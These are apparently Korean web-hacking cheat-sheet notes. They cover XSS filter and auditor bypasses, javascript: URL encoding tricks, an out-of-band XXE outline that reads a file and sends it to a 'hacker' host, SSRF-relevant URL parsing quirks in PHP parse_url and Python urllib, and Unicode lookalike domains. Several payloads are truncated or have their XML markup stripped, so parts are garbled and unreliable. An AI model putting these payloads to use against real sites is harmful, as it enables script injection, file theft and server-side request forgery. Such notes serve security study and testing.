Syntax dataurl := "data:" [ mediatype ] [ ";base64" ] "," data mediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlchar parameter := attribute "=" value 추가 PHP Wrapper 로 사용이 된다.
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ => example.com ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
여러 라인에서 XSS 가 발생할 때 XSS auditor 를 우회가능하다. 아래에 예로 살펴보자. ?id="> "> Auditor bypassed!! execute alert!!!!!
location.search 를 이용해 XSS 할 때 주로쓰는 payload 는 eval(location.search.substr(1)) 처럼 "?" 를 제거한다. 하지만 Javscript 3항 조건부 삼항 연산자를 통해서 "?" 를 제거하지 않고 XSS 를 할 수 있다. url: http://example.com?alert(1):0 payload: eval(1+location.search)
location="javascript:alert(1)" location="javascript:alert%281%29" // urlencode location="javascript:alert\x281\x29" // hex location="javascript:alert\u00281\u0029" // unicode location="javascript:alert\501\51" // oct location="\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)" location=location.hash.slice(1,) // #javascript:alert(1) location=location.search.slice(1,) // ?javascript:alert(1) location="javascript:..
.source 는 정규표현식의 패턴을 문자열로 출력해준다. var regex = /test/i; console.log(regex.source); // return "test" XSS 를 할 때 " ' ` 가 필터링이 되어있으면 사용하자.
Payload %dtd; ]> &request; hacker dtd file %all; XML 파싱 과정 1. ENTITY %read 에 특정 파일을 읽어 들인다. 2. ENTITY %dtd 로 외부 xxe.dtd 를 불러온다. 3. xxe.dtd 에서 https://hacker/recvie?%read; 로 요청을 하는 request ENTITY 를 만든다. %read 는 파일 내용으로 바뀐다. 4. &request 를 파싱하게 한다.
DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP 이 지원 된다고 한다.
parse_url parse_url('http://a@b@c') => ( [scheme] => http [host] => c [user] => a@b ) parse_url('http://a@b@c@d@e@f@g') => ( [scheme] => http [host] => g [user] => a@b@c@d@e@f ) parse_url('http://a:10@b:20@c:30') => ( [scheme] => http [host] => c [port] => 30 [user] => a [pass] => 10@b:20 ) parse_url('http://a@b:80@c') => ( [scheme] => http [host] => c [user] => a@b [pass] => 80 ) parse_url('htt..
urllib.urlopen('example.com') 은 언뜻보기엔 example.com 으로 요청을 보낼거 처럼 보이지만 urllib.urlopen 은 default 로 지정된 프로토콜이 file:// 이라서 example.com 이라는 파일을 불러오게 된다.